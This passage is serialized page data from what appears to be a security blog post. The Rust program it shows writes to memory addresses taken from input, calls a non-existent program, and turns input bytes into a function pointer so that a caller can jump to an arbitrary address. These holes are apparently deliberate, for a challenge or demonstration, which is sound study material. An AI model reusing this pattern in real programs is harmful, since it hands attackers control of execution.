std",{"type":23,"tag":141,"props":39129,"children":39130},{"style":160},[39131],{"type":29,"value":2141},{"type":23,"tag":141,"props":39133,"children":39134},{"style":154},[39135],{"type":29,"value":39136},"mem",{"type":23,"tag":141,"props":39138,"children":39139},{"style":160},[39140],{"type":29,"value":2141},{"type":23,"tag":141,"props":39142,"children":39143},{"style":184},[39144],{"type":29,"value":39145},"transmute",{"type":23,"tag":141,"props":39147,"children":39148},{"style":160},[39149],{"type":29,"value":2141},{"type":23,"tag":141,"props":39151,"children":39152},{"style":154},[39153],{"type":29,"value":39154},"\u003C[",{"type":23,"tag":141,"props":39156,"children":39157},{"style":725},[39158],{"type":29,"value":2081},{"type":23,"tag":141,"props":39160,"children":39161},{"style":154},[39162],{"type":29,"value":15903},{"type":23,"tag":141,"props":39164,"children":39165},{"style":472},[39166],{"type":29,"value":2752},{"type":23,"tag":141,"props":39168,"children":39169},{"style":154},[39170],{"type":29,"value":21732},{"type":23,"tag":141,"props":39172,"children":39173},{"style":160},[39174],{"type":29,"value":197},{"type":23,"tag":141,"props":39176,"children":39177},{"style":449},[39178],{"type":29,"value":2389},{"type":23,"tag":141,"props":39180,"children":39181},{"style":725},[39182],{"type":29,"value":4534},{"type":23,"tag":141,"props":39184,"children":39185},{"style":154},[39186],{"type":29,"value":6285},{"type":23,"tag":141,"props":39188,"children":39189},{"style":750},[39190],{"type":29,"value":2367},{"type":23,"tag":141,"props":39192,"children":39193},{"style":154},[39194],{"type":29,"value":2399},{"type":23,"tag":141,"props":39196,"children":39197},{"style":160},[39198],{"type":29,"value":1712},{"type":23,"tag":141,"props":39200,"children":39201},{"style":472},[39202],{"type":29,"value":2752},{"type":23,"tag":141,"props":39204,"children":39205},{"style":154},[39206],{"type":29,"value":14088},{"type":23,"tag":141,"props":39208,"children":39209},{"style":160},[39210],{"type":29,"value":322},{"type":23,"tag":141,"props":39212,"children":39213},{"style":184},[39214],{"type":29,"value":24846},{"type":23,"tag":141,"props":39216,"children":39217},{"style":154},[39218],{"type":29,"value":12557},{"type":23,"tag":141,"props":39220,"children":39221},{"style":160},[39222],{"type":29,"value":322},{"type":23,"tag":141,"props":39224,"children":39225},{"style":184},[39226],{"type":29,"value":2328},{"type":23,"tag":141,"props":39228,"children":39229},{"style":154},[39230],{"type":29,"value":14102},{"type":23,"tag":141,"props":39232,"children":39233},{"class":143,"line":227},[39234,39238,39243,39247,39251,39255,39259,39263,39267,39271,39275,39279,39283,39287,39291,39295,39299,39303,39307,39311,39315,39320,39324,39328,39332,39336,39340,39344],{"type":23,"tag":141,"props":39235,"children":39236},{"style":449},[39237],{"type":29,"value":1725},{"type":23,"tag":141,"props":39239,"children":39240},{"style":750},[39241],{"type":29,"value":39242}," val",{"type":23,"tag":141,"props":39244,"children":39245},{"style":160},[39246],{"type":29,"value":1674},{"type":23,"tag":141,"props":39248,"children":39249},{"style":154},[39250],{"type":29,"value":39127},{"type":23,"tag":141,"props":39252,"children":39253},{"style":160},[39254],{"type":29,"value":2141},{"type":23,"tag":141,"props":39256,"children":39257},{"style":154},[39258],{"type":29,"value":39136},{"type":23,"tag":141,"props":39260,"children":39261},{"style":160},[39262],{"type":29,"value":2141},{"type":23,"tag":141,"props":39264,"children":39265},{"style":184},[39266],{"type":29,"value":39145},{"type":23,"tag":141,"props":39268,"children":39269},{"style":160},[39270],{"type":29,"value":2141},{"type":23,"tag":141,"props":39272,"children":39273},{"style":154},[39274],{"type":29,"value":39154},{"type":23,"tag":141,"props":39276,"children":39277},{"style":725},[39278],{"type":29,"value":2081},{"type":23,"tag":141,"props":39280,"children":39281},{"style":154},[39282],{"type":29,"value":15903},{"type":23,"tag":141,"props":39284,"children":39285},{"style":472},[39286],{"type":29,"value":2752},{"type":23,"tag":141,"props":39288,"children":39289},{"style":154},[39290],{"type":29,"value":21732},{"type":23,"tag":141,"props":39292,"children":39293},{"style":725},[39294],{"type":29,"value":6717},{"type":23,"tag":141,"props":39296,"children":39297},{"style":154},[39298],{"type":29,"value":6285},{"type":23,"tag":141,"props":39300,"children":39301},{"style":750},[39302],{"type":29,"value":2367},{"type":23,"tag":141,"props":39304,"children":39305},{"style":154},[39306],{"type":29,"value":2399},{"type":23,"tag":141,"props":39308,"children":39309},{"style":472},[39310],{"type":29,"value":2752},{"type":23,"tag":141,"props":39312,"children":39313},{"style":160},[39314],{"type":29,"value":1712},{"type":23,"tag":141,"props":39316,"children":39317},{"style":472},[39318],{"type":29,"value":39319},"16",{"type":23,"tag":141,"props":39321,"children":39322},{"style":154},[39323],{"type":29,"value":14088},{"type":23,"tag":141,"props":39325,"children":39326},{"style":160},[39327],{"type":29,"value":322},{"type":23,"tag":141,"props":39329,"children":39330},{"style":184},[39331],{"type":29,"value":24846},{"type":23,"tag":141,"props":39333,"children":39334},{"style":154},[39335],{"type":29,"value":12557},{"type":23,"tag":141,"props":39337,"children":39338},{"style":160},[39339],{"type":29,"value":322},{"type":23,"tag":141,"props":39341,"children":39342},{"style":184},[39343],{"type":29,"value":2328},{"type":23,"tag":141,"props":39345,"children":39346},{"style":154},[39347],{"type":29,"value":14102},{"type":23,"tag":141,"props":39349,"children":39350},{"class":143,"line":241},[39351,39356,39360,39365,39369,39373],{"type":23,"tag":141,"props":39352,"children":39353},{"style":750},[39354],{"type":29,"value":39355}," ptr",{"type":23,"tag":141,"props":39357,"children":39358},{"style":160},[39359],{"type":29,"value":322},{"type":23,"tag":141,"props":39361,"children":39362},{"style":184},[39363],{"type":29,"value":39364},"write_volatile",{"type":23,"tag":141,"props":39366,"children":39367},{"style":154},[39368],{"type":29,"value":192},{"type":23,"tag":141,"props":39370,"children":39371},{"style":750},[39372],{"type":29,"value":11311},{"type":23,"tag":141,"props":39374,"children":39375},{"style":154},[39376],{"type":29,"value":2496},{"type":23,"tag":141,"props":39378,"children":39379},{"class":143,"line":262},[39380],{"type":23,"tag":141,"props":39381,"children":39382},{"style":154},[39383],{"type":29,"value":299},{"type":23,"tag":141,"props":39385,"children":39386},{"class":143,"line":271},[39387],{"type":23,"tag":141,"props":39388,"children":39389},{"style":154},[39390],{"type":29,"value":2573},{"type":23,"tag":116,"props":39392,"children":39393},{"start":180},[39394],{"type":23,"tag":120,"props":39395,"children":39396},{},[39397,39398,39404],{"type":29,"value":6154},{"type":23,"tag":38,"props":39399,"children":39401},{"className":39400},[],[39402],{"type":29,"value":39403},"data[0] == 1",{"type":29,"value":39405},", a CPI to a non-existent program is executed:",{"type":23,"tag":131,"props":39407,"children":39409},{"className":1639,"code":39408,"language":1638,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n let ix = Instruction {\n program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n data: data.try_into().unwrap(),\n accounts: vec![]\n };\n\n invoke_signed_unchecked(\n &ix,\n &[],\n &[],\n ).unwrap();\n}\n",[39410],{"type":23,"tag":38,"props":39411,"children":39412},{"__ignoreMap":7},[39413,39420,39464,39489,39519,39559,39580,39587,39594,39606,39622,39634,39645,39664],{"type":23,"tag":141,"props":39414,"children":39415},{"class":143,"line":144},[39416],{"type":23,"tag":141,"props":39417,"children":39418},{"style":154},[39419],{"type":29,"value":39051},{"type":23,"tag":141,"props":39421,"children":39422},{"class":143,"line":180},[39423,39427,39431,39436,39440,39444,39448,39452,39456,39460],{"type":23,"tag":141,"props":39424,"children":39425},{"style":449},[39426],{"type":29,"value":12368},{"type":23,"tag":141,"props":39428,"children":39429},{"style":449},[39430],{"type":29,"value":12373},{"type":23,"tag":141,"props":39432,"children":39433},{"style":184},[39434],{"type":29,"value":39435}," call",{"type":23,"tag":141,"props":39437,"children":39438},{"style":154},[39439],{"type":29,"value":192},{"type":23,"tag":141,"props":39441,"children":39442},{"style":750},[39443],{"type":29,"value":2367},{"type":23,"tag":141,"props":39445,"children":39446},{"style":160},[39447],{"type":29,"value":114},{"type":23,"tag":141,"props":39449,"children":39450},{"style":160},[39451],{"type":29,"value":5815},{"type":23,"tag":141,"props":39453,"children":39454},{"style":154},[39455],{"type":29,"value":2399},{"type":23,"tag":141,"props":39457,"children":39458},{"style":725},[39459],{"type":29,"value":2081},{"type":23,"tag":141,"props":39461,"children":39462},{"style":154},[39463],{"type":29,"value":39096},{"type":23,"tag":141,"props":39465,"children":39466},{"class":143,"line":205},[39467,39471,39476,39480,39485],{"type":23,"tag":141,"props":39468,"children":39469},{"style":449},[39470],{"type":29,"value":1659},{"type":23,"tag":141,"props":39472,"children":39473},{"style":750},[39474],{"type":29,"value":39475}," ix",{"type":23,"tag":141,"props":39477,"children":39478},{"style":160},[39479],{"type":29,"value":1674},{"type":23,"tag":141,"props":39481,"children":39482},{"style":725},[39483],{"type":29,"value":39484}," Instruction",{"type":23,"tag":141,"props":39486,"children":39487},{"style":154},[39488],{"type":29,"value":1951},{"type":23,"tag":141,"props":39490,"children":39491},{"class":143,"line":218},[39492,39497,39501,39506,39510,39515],{"type":23,"tag":141,"props":39493,"children":39494},{"style":750},[39495],{"type":29,"value":39496}," program_id",{"type":23,"tag":141,"props":39498,"children":39499},{"style":160},[39500],{"type":29,"value":114},{"type":23,"tag":141,"props":39502,"children":39503},{"style":184},[39504],{"type":29,"value":39505}," pubkey!",{"type":23,"tag":141,"props":39507,"children":39508},{"style":154},[39509],{"type":29,"value":192},{"type":23,"tag":141,"props":39511,"children":39512},{"style":828},[39513],{"type":29,"value":39514},"\"osecio5555555555555551111111111111111111111\"",{"type":23,"tag":141,"props":39516,"children":39517},{"style":154},[39518],{"type":29,"value":5410},{"type":23,"tag":141,"props":39520,"children":39521},{"class":143,"line":227},[39522,39527,39531,39535,39539,39543,39547,39551,39555],{"type":23,"tag":141,"props":39523,"children":39524},{"style":750},[39525],{"type":29,"value":39526}," data",{"type":23,"tag":141,"props":39528,"children":39529},{"style":160},[39530],{"type":29,"value":114},{"type":23,"tag":141,"props":39532,"children":39533},{"style":750},[39534],{"type":29,"value":13781},{"type":23,"tag":141,"props":39536,"children":39537},{"style":160},[39538],{"type":29,"value":322},{"type":23,"tag":141,"props":39540,"children":39541},{"style":184},[39542],{"type":29,"value":24846},{"type":23,"tag":141,"props":39544,"children":39545},{"style":154},[39546],{"type":29,"value":12557},{"type":23,"tag":141,"props":39548,"children":39549},{"style":160},[39550],{"type":29,"value":322},{"type":23,"tag":141,"props":39552,"children":39553},{"style":184},[39554],{"type":29,"value":2328},{"type":23,"tag":141,"props":39556,"children":39557},{"style":154},[39558],{"type":29,"value":2151},{"type":23,"tag":141,"props":39560,"children":39561},{"class":143,"line":241},[39562,39567,39571,39575],{"type":23,"tag":141,"props":39563,"children":39564},{"style":750},[39565],{"type":29,"value":39566}," accounts",{"type":23,"tag":141,"props":39568,"children":39569},{"style":160},[39570],{"type":29,"value":114},{"type":23,"tag":141,"props":39572,"children":39573},{"style":184},[39574],{"type":29,"value":2394},{"type":23,"tag":141,"props":39576,"children":39577},{"style":154},[39578],{"type":29,"value":39579},"[]\n",{"type":23,"tag":141,"props":39581,"children":39582},{"class":143,"line":262},[39583],{"type":23,"tag":141,"props":39584,"children":39585},{"style":154},[39586],{"type":29,"value":37468},{"type":23,"tag":141,"props":39588,"children":39589},{"class":143,"line":271},[39590],{"type":23,"tag":141,"props":39591,"children":39592},{"emptyLinePlaceholder":15},[39593],{"type":29,"value":719},{"type":23,"tag":141,"props":39595,"children":39596},{"class":143,"line":293},[39597,39602],{"type":23,"tag":141,"props":39598,"children":39599},{"style":184},[39600],{"type":29,"value":39601}," invoke_signed_unchecked",{"type":23,"tag":141,"props":39603,"children":39604},{"style":154},[39605],{"type":29,"value":2123},{"type":23,"tag":141,"props":39607,"children":39608},{"class":143,"line":801},[39609,39613,39618],{"type":23,"tag":141,"props":39610,"children":39611},{"style":160},[39612],{"type":29,"value":2131},{"type":23,"tag":141,"props":39614,"children":39615},{"style":750},[39616],{"type":29,"value":39617},"ix",{"type":23,"tag":141,"props":39619,"children":39620},{"style":154},[39621],{"type":29,"value":2168},{"type":23,"tag":141,"props":39623,"children":39624},{"class":143,"line":810},[39625,39629],{"type":23,"tag":141,"props":39626,"children":39627},{"style":160},[39628],{"type":29,"value":2131},{"type":23,"tag":141,"props":39630,"children":39631},{"style":154},[39632],{"type":29,"value":39633},"[],\n",{"type":23,"tag":141,"props":39635,"children":39636},{"class":143,"line":824},[39637,39641],{"type":23,"tag":141,"props":39638,"children":39639},{"style":160},[39640],{"type":29,"value":2131},{"type":23,"tag":141,"props":39642,"children":39643},{"style":154},[39644],{"type":29,"value":39633},{"type":23,"tag":141,"props":39646,"children":39647},{"class":143,"line":839},[39648,39652,39656,39660],{"type":23,"tag":141,"props":39649,"children":39650},{"style":154},[39651],{"type":29,"value":2319},{"type":23,"tag":141,"props":39653,"children":39654},{"style":160},[39655],{"type":29,"value":322},{"type":23,"tag":141,"props":39657,"children":39658},{"style":184},[39659],{"type":29,"value":2328},{"type":23,"tag":141,"props":39661,"children":39662},{"style":154},[39663],{"type":29,"value":1305},{"type":23,"tag":141,"props":39665,"children":39666},{"class":143,"line":848},[39667],{"type":23,"tag":141,"props":39668,"children":39669},{"style":154},[39670],{"type":29,"value":2573},{"type":23,"tag":116,"props":39672,"children":39673},{"start":205},[39674],{"type":23,"tag":120,"props":39675,"children":39676},{},[39677,39679,39685],{"type":29,"value":39678},"Finally, if ",{"type":23,"tag":38,"props":39680,"children":39682},{"className":39681},[],[39683],{"type":29,"value":39684},"data[0]",{"type":29,"value":39686}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":23,"tag":131,"props":39688,"children":39690},{"className":1639,"code":39689,"language":1638,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n\n data = &data[16..];\n\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n }\n}\n",[39691],{"type":23,"tag":38,"props":39692,"children":39693},{"__ignoreMap":7},[39694,39701,39749,39760,39880,39995,40014,40021,40056,40063,40182,40297,40316,40323],{"type":23,"tag":141,"props":39695,"children":39696},{"class":143,"line":144},[39697],{"type":23,"tag":141,"props":39698,"children":39699},{"style":154},[39700],{"type":29,"value":39051},{"type":23,"tag":141,"props":39702,"children":39703},{"class":143,"line":180},[39704,39708,39712,39717,39721,39725,39729,39733,39737,39741,39745],{"type":23,"tag":141,"props":39705,"children":39706},{"style":449},[39707],{"type":29,"value":12368},{"type":23,"tag":141,"props":39709,"children":39710},{"style":449},[39711],{"type":29,"value":12373},{"type":23,"tag":141,"props":39713,"children":39714},{"style":184},[39715],{"type":29,"value":39716}," process",{"type":23,"tag":141,"props":39718,"children":39719},{"style":154},[39720],{"type":29,"value":192},{"type":23,"tag":141,"props":39722,"children":39723},{"style":449},[39724],{"type":29,"value":2389},{"type":23,"tag":141,"props":39726,"children":39727},{"style":750},[39728],{"type":29,"value":13781},{"type":23,"tag":141,"props":39730,"children":39731},{"style":160},[39732],{"type":29,"value":114},{"type":23,"tag":141,"props":39734,"children":39735},{"style":160},[39736],{"type":29,"value":5815},{"type":23,"tag":141,"props":39738,"children":39739},{"style":154},[39740],{"type":29,"value":2399},{"type":23,"tag":141,"props":39742,"children":39743},{"style":725},[39744],{"type":29,"value":2081},{"type":23,"tag":141,"props":39746,"children":39747},{"style":154},[39748],{"type":29,"value":39096},{"type":23,"tag":141,"props":39750,"children":39751},{"class":143,"line":205},[39752,39756],{"type":23,"tag":141,"props":39753,"children":39754},{"style":449},[39755],{"type":29,"value":12511},{"type":23,"tag":141,"props":39757,"children":39758},{"style":154},[39759],{"type":29,"value":1951},{"type":23,"tag":141,"props":39761,"children":39762},{"class":143,"line":218},[39763,39767,39771,39775,39779,39783,39787,39791,39795,39799,39803,39807,39811,39815,39819,39823,39827,39831,39836,39840,39844,39848,39852,39856,39860,39864,39868,39872,39876],{"type":23,"tag":141,"props":39764,"children":39765},{"style":449},[39766],{"type":29,"value":1725},{"type":23,"tag":141,"props":39768,"children":39769},{"style":750},[39770],{"type":29,"value":12535},{"type":23,"tag":141,"props":39772,"children":39773},{"style":160},[39774],{"type":29,"value":1674},{"type":23,"tag":141,"props":39776,"children":39777},{"style":154},[39778],{"type":29,"value":39127},{"type":23,"tag":141,"props":39780,"children":39781},{"style":160},[39782],{"type":29,"value":2141},{"type":23,"tag":141,"props":39784,"children":39785},{"style":154},[39786],{"type":29,"value":39136},{"type":23,"tag":141,"props":39788,"children":39789},{"style":160},[39790],{"type":29,"value":2141},{"type":23,"tag":141,"props":39792,"children":39793},{"style":184},[39794],{"type":29,"value":39145},{"type":23,"tag":141,"props":39796,"children":39797},{"style":160},[39798],{"type":29,"value":2141},{"type":23,"tag":141,"props":39800,"children":39801},{"style":154},[39802],{"type":29,"value":39154},{"type":23,"tag":141,"props":39804,"children":39805},{"style":725},[39806],{"type":29,"value":2081},{"type":23,"tag":141,"props":39808,"children":39809},{"style":154},[39810],{"type":29,"value":15903},{"type":23,"tag":141,"props":39812,"children":39813},{"style":472},[39814],{"type":29,"value":2752},{"type":23,"tag":141,"props":39816,"children":39817},{"style":154},[39818],{"type":29,"value":21732},{"type":23,"tag":141,"props":39820,"children":39821},{"style":449},[39822],{"type":29,"value":18938},{"type":23,"tag":141,"props":39824,"children":39825},{"style":154},[39826],{"type":29,"value":192},{"type":23,"tag":141,"props":39828,"children":39829},{"style":725},[39830],{"type":29,"value":6717},{"type":23,"tag":141,"props":39832,"children":39833},{"style":154},[39834],{"type":29,"value":39835},")>(",{"type":23,"tag":141,"props":39837,"children":39838},{"style":750},[39839],{"type":29,"value":2367},{"type":23,"tag":141,"props":39841,"children":39842},{"style":154},[39843],{"type":29,"value":2399},{"type":23,"tag":141,"props":39845,"children":39846},{"style":160},[39847],{"type":29,"value":1712},{"type":23,"tag":141,"props":39849,"children":39850},{"style":472},[39851],{"type":29,"value":2752},{"type":23,"tag":141,"props":39853,"children":39854},{"style":154},[39855],{"type":29,"value":14088},{"type":23,"tag":141,"props":39857,"children":39858},{"style":160},[39859],{"type":29,"value":322},{"type":23,"tag":141,"props":39861,"children":39862},{"style":184},[39863],{"type":29,"value":24846},{"type":23,"tag":141,"props":39865,"children":39866},{"style":154},[39867],{"type":29,"value":12557},{"type":23,"tag":141,"props":39869,"children":39870},{"style":160},[39871],{"type":29,"value":322},{"type":23,"tag":141,"props":39873,"children":39874},{"style":184},[39875],{"type":29,"value":2328},{"type":23,"tag":141,"props":39877,"children":39878},{"style":154},[39879],{"type":29,"value":14102},{"type":23,"tag":141,"props":39881,"children":39882},{"class":143,"line":227},[39883,39887,39891,39895,39899,39903,39907,39911,39915,39919,39923,39927,39931,39935,39939,39943,39947,39951,39955,39959,39963,39967,39971,39975,39979,39983,39987,39991],{"type":23,"tag":141,"props":39884,"children":39885},{"style":449},[39886],{"type":29,"value":1725},{"type":23,"tag":141,"props":39888,"children":39889},{"style":750},[39890],{"type":29,"value":39242},{"type":23,"tag":141,"props":39892,"children":39893},{"style":160},[39894],{"type":29,"value":1674},{"type":23,"tag":141,"props":39896,"children":39897},{"style":154},[39898],{"type":29,"value":39127},{"type":23,"tag":141,"props":39900,"children":39901},{"style":160},[39902],{"type":29,"value":2141},{"type":23,"tag":141,"props":39904,"children":39905},{"style":154},[39906],{"type":29,"value":39136},{"type":23,"tag":141,"props":39908,"children":39909},{"style":160},[39910],{"type":29,"value":2141},{"type":23,"tag":141,"props":39912,"children":39913},{"style":184},[39914],{"type":29,"value":39145},{"type":23,"tag":141,"props":39916,"children":39917},{"style":160},[39918],{"type":29,"value":2141},{"type":23,"tag":141,"props":39920,"children":39921},{"style":154},[39922],{"type":29,"value":39154},{"type":23,"tag":141,"props":39924,"children":39925},{"style":725},[39926],{"type":29,"value":2081},{"type":23,"tag":141,"props":39928,"children":39929},{"style":154},[39930],{"type":29,"value":15903},{"type":23,"tag":141,"props":39932,"children":39933},{"style":472},[39934],{"type":29,"value":2752},{"type":23,"tag":141,"props":39936,"children":39937},{"style":154},[39938],{"type":29,"value":21732},{"type":23,"tag":141,"props":39940,"children":39941},{"style":725},[39942],{"type":29,"value":6717},{"type":23,"tag":141,"props":39944,"children":39945},{"style":154},[39946],{"type":29,"value":6285},{"type":23,"tag":141,"props":39948,"children":39949},{"style":750},[39950],{"type":29,"value":2367},{"type":23,"tag":141,"props":39952,"children":39953},{"style":154},[39954],{"type":29,"value":2399},{"type":23,"tag":141,"props":39956,"children":39957},{"style":472},[39958],{"type":29,"value":2752},{"type":23,"tag":141,"props":39960,"children":39961},{"style":160},[39962],{"type":29,"value":1712},{"type":23,"tag":141,"props":39964,"children":39965},{"style":472},[39966],{"type":29,"value":39319},{"type":23,"tag":141,"props":39968,"children":39969},{"style":154},[39970],{"type":29,"value":14088},{"type":23,"tag":141,"props":39972,"children":39973},{"style":160},[39974],{"type":29,"value":322},{"type":23,"tag":141,"props":39976,"children":39977},{"style":184},[39978],{"type":29,"value":24846},{"type":23,"tag":141,"props":39980,"children":39981},{"style":154},[39982],{"type":29,"value":12557},{"type":23,"tag":141,"props":39984,"children":39985},{"style":160},[39986],{"type":29,"value":322},{"type":23,"tag":141,"props":39988,"children":39989},{"style":184},[39990],{"type":29,"value":2328},{"type":23,"tag":141,"props":39992,"children":39993},{"style":154},[39994],{"type":29,"value":14102},{"type":23,"tag":141,"props":39996,"children":39997},{"class":143,"line":241},[39998,40002,40006,40010],{"type":23,"tag":141,"props":39999,"children":40000},{"style":184},[40001],{"type":29,"value":39355},{"type":23,"tag":141,"props":40003,"children":40004},{"style":154},[40005],{"type":29,"value":192},{"type":23,"tag":141,"props":40007,"children":40008},{"style":750},[40009],{"type":29,"value":11311},{"type":23,"tag":141,"props":40011,"children":40012},{"style":154},[40013],{"type":29,"value":2496},{"type":23,"tag":141,"props":40015,"children":40016},{"class":143,"line":262},[40017],{"type":23,"tag":141,"props":40018,"children":40019},{"emptyLinePlaceholder":15},[40020],{"type":29,"value":719},{"type":23,"tag":141,"props":40022,"children":40023},{"class":143,"line":271},[40024,40028,40032,40036,40040,40044,40048,40052],{"type":23,"tag":141,"props":40025,"children":40026},{"style":750},[40027],{"type":29,"value":39526},{"type":23,"tag":141,"props":40029,"children":40030},{"style":160},[40031],{"type":29,"value":1674},{"type":23,"tag":141,"props":40033,"children":40034},{"style":160},[40035],{"type":29,"value":5815},{"type":23,"tag":141,"props":40037,"children":40038},{"style":750},[40039],{"type":29,"value":2367},{"type":23,"tag":141,"props":40041,"children":40042},{"style":154},[40043],{"type":29,"value":2399},{"type":23,"tag":141,"props":40045,"children":40046},{"style":472},[40047],{"type":29,"value":39319},{"type":23,"tag":141,"props":40049,"children":40050},{"style":160},[40051],{"type":29,"value":1712},{"type":23,"tag":141,"props":40053,"children":40054},{"style":154},[40055],{"type":29,"value":30042},{"type":23,"tag":141,"props":40057,"children":40058},{"class":143,"line":293},[40059],{"type":23,"tag":141,"props":40060,"children":40061},{"emptyLinePlaceholder":15},[40062],{"type":29,"value":719},{"type":23,"tag":141,"props":40064,"children":40065},{"class":143,"line":801},[40066,40070,40074,40078,40082,40086,40090,40094,40098,40102,40106,40110,40114,40118,40122,40126,40130,40134,40138,40142,40146,40150,40154,40158,40162,40166,40170,40174,40178],{"type":23,"tag":141,"props":40067,"children":40068},{"style":449},[40069],{"type":29,"value":1725},{"type":23,"tag":141,"props":40071,"children":40072},{"style":750},[40073],{"type":29,"value":12535},{"type":23,"tag":141,"props":40075,"children":40076},{"style":160},[40077],{"type":29,"value":1674},{"type":23,"tag":141,"props":40079,"children":40080},{"style":154},[40081],{"type":29,"value":39127},{"type":23,"tag":141,"props":40083,"children":40084},{"style":160},[40085],{"type":29,"value":2141},{"type":23,"tag":141,"props":40087,"children":40088},{"style":154},[40089],{"type":29,"value":39136},{"type":23,"tag":141,"props":40091,"children":40092},{"style":160},[40093],{"type":29,"value":2141},{"type":23,"tag":141,"props":40095,"children":40096},{"style":184},[40097],{"type":29,"value":39145},{"type":23,"tag":141,"props":40099,"children":40100},{"style":160},[40101],{"type":29,"value":2141},{"type":23,"tag":141,"props":40103,"children":40104},{"style":154},[40105],{"type":29,"value":39154},{"type":23,"tag":141,"props":40107,"children":40108},{"style":725},[40109],{"type":29,"value":2081},{"type":23,"tag":141,"props":40111,"children":40112},{"style":154},[40113],{"type":29,"value":15903},{"type":23,"tag":141,"props":40115,"children":40116},{"style":472},[40117],{"type":29,"value":2752},{"type":23,"tag":141,"props":40119,"children":40120},{"style":154},[40121],{"type":29,"value":21732},{"type":23,"tag":141,"props":40123,"children":40124},{"style":449},[40125],{"type":29,"value":18938},{"type":23,"tag":141,"props":40127,"children":40128},{"style":154},[40129],{"type":29,"value":192},{"type":23,"tag":141,"props":40131,"children":40132},{"style":725},[40133],{"type":29,"value":6717},{"type":23,"tag":141,"props":40135,"children":40136},{"style":154},[40137],{"type":29,"value":39835},{"type":23,"tag":141,"props":40139,"children":40140},{"style":750},[40141],{"type":29,"value":2367},{"type":23,"tag":141,"props":40143,"children":40144},{"style":154},[40145],{"type":29,"value":2399},{"type":23,"tag":141,"props":40147,"children":40148},{"style":160},[40149],{"type":29,"value":1712},{"type":23,"tag":141,"props":40151,"children":40152},{"style":472},[40153],{"type":29,"value":2752},{"type":23,"tag":141,"props":40155,"children":40156},{"style":154},[40157],{"type":29,"value":14088},{"type":23,"tag":141,"props":40159,"children":40160},{"style":160},[40161],{"type":29,"value":322},{"type":23,"tag":141,"props":40163,"children":40164},{"style":184},[40165],{"type":29,"value":24846},{"type":23,"tag":141,"props":40167,"children":40168},{"style":154},[40169],{"type":29,"value":12557},{"type":23,"tag":141,"props":40171,"children":40172},{"style":160},[40173],{"type":29,"value":322},{"type":23,"tag":141,"props":40175,"children":40176},{"style":184},[40177],{"type":29,"value":2328},{"type":23,"tag":141,"props":40179,"children":40180},{"style":154},[40181],{"type":29,"value":14102},{"type":23,"tag":141,"props":40183,"children":40184},{"class":143,"line":810},[40185,40189,40193,40197,40201,40205,40209,40213,40217,40221,40225,40229,40233,40237,40241,40245,40249,40253,40257,40261,40265,40269,40273,40277,40281,40285,40289,40293],{"type":23,"tag":141,"props":40186,"children":40187},{"style":449},[40188],{"type":29,"value":1725},{"type":23,"tag":141,"props":40190,"children":40191},{"style":750},[40192],{"type":29,"value":39242},{"type":23,"tag":141,"props":40194,"children":40195},{"style":160},[40196],{"type":29,"value":1674},{"type":23,"tag":141,"props":40198,"children":40199},{"style":154},[40200],{"type":29,"value":39127},{"type":23,"tag":141,"props":40202,"children":40203},{"style":160},[40204],{"type":29,"value":2141},{"type":23,"tag":141,"props":40206,"children":40207},{"style":154},[40208],{"type":29,"value":39136},{"type":23,"tag":141,"props":40210,"children":40211},{"style":160},[40212],{"type":29,"value":2141},{"type":23,"tag":141,"props":40214,"children":40215},{"style":184},[40216],{"type":29,"value":39145},{"type":23,"tag":141,"props":40218,"children":40219},{"style":160},[40220],{"type":29,"value":2141},{"type":23,"tag":141,"props":40222,"children":40223},{"style":154},[40224],{"type":29,"value":39154},{"type":23,"tag":141,"props":40226,"children":40227},{"style":725},[40228],{"type":29,"value":2081},{"type":23,"tag":141,"props":40230,"children":40231},{"style":154},[40232],{"type":29,"value":15903},{"type":23,"tag":141,"props":40234,"children":40235},{"style":472},[40236],{"type":29,"value":2752},{"type":23,"tag":141,"props":40238,"children":40239},{"style":154},[40240],{"type":29,"value":21732},{"type":23,"tag":141,"props":40242,"children":40243},{"style":725},[40244],{"type":29,"value":6717},{"type":23,"tag":141,"props":40246,"children":40247},{"style":154},[40248],{"type":29,"value":6285},{"type":23,"tag":141,"props":40250,"children":40251},{"style":750},[40252],{"type":29,"value":2367},{"type":23,"tag":141,"props":40254,"children":40255},{"style":154},[40256],{"type":29,"value":2399},{"type":23,"tag":141,"props":40258,"children":40259},{"style":472},[40260],{"type":29,"value":2752},{"type":23,"tag":141,"props":40262,"children":40263},{"style":160},[40264],{"type":29,"value":1712},{"type":23,"tag":141,"props":40266,"children":40267},{"style":472},[40268],{"type":29,"value":39319},{"type":23,"tag":141,"props":40270,"children":40271},{"style":154},[40272],{"type":29,"value":14088},{"type":23,"tag":141,"props":40274,"children":40275},{"style":160},[40276],{"type":29,"value":322},{"type":23,"tag":141,"props":40278,"children":40279},{"style":184},[40280],{"type":29,"value":24846},{"type":23,"tag":141,"props":40282,"children":40283},{"style":154},[40284],{"type":29,"value":12557},{"type":23,"tag":141,"props":40286,"children":40287},{"style":160},[40288],{"type":29,"value":322},{"type":23,"tag":141,"props":40290,"children":40291},{"style":184},[40292],{"type":29,"value":2328},{"type":23,"tag":141,"props":40294,"children":40295},{"style":154},[40296],{"type":29,"value":14102},{"type":23,"tag":141,"props":40298,"children":40299},{"class":143,"line":824},[40300,40304,40308,40312],{"type":23,"tag":141,"props":40301,"children":40302},{"style":184},[40303],{"type":29,"value":39355},{"type":23,"tag":141,"props":40305,"children":40306},{"style":154},[40307],{"type":29,"value":192},{"type":23,"tag":141,"props":40309,"children":40310},{"style":750},[40311],{"type":29,"value":11311},{"type":23,"tag":141,"props":40313,"children":40314},{"style":154},[40315],{"type":29,"value":2496},{"type":23,"tag":141,"props":40317,"children":40318},{"class":143,"line":839},[40319],{"type":23,"tag":141,"props":40320,"children":40321},{"style":154},[40322],{"type":29,"value":299},{"type":23,"tag":141,"props":40324,"children":40325},{"class":143,"line":848},[40326],{"type":23,"tag":141,"props":40327,"children":40328},{"style":154},[40329],{"type":29,"value":2573},{"type":23,"t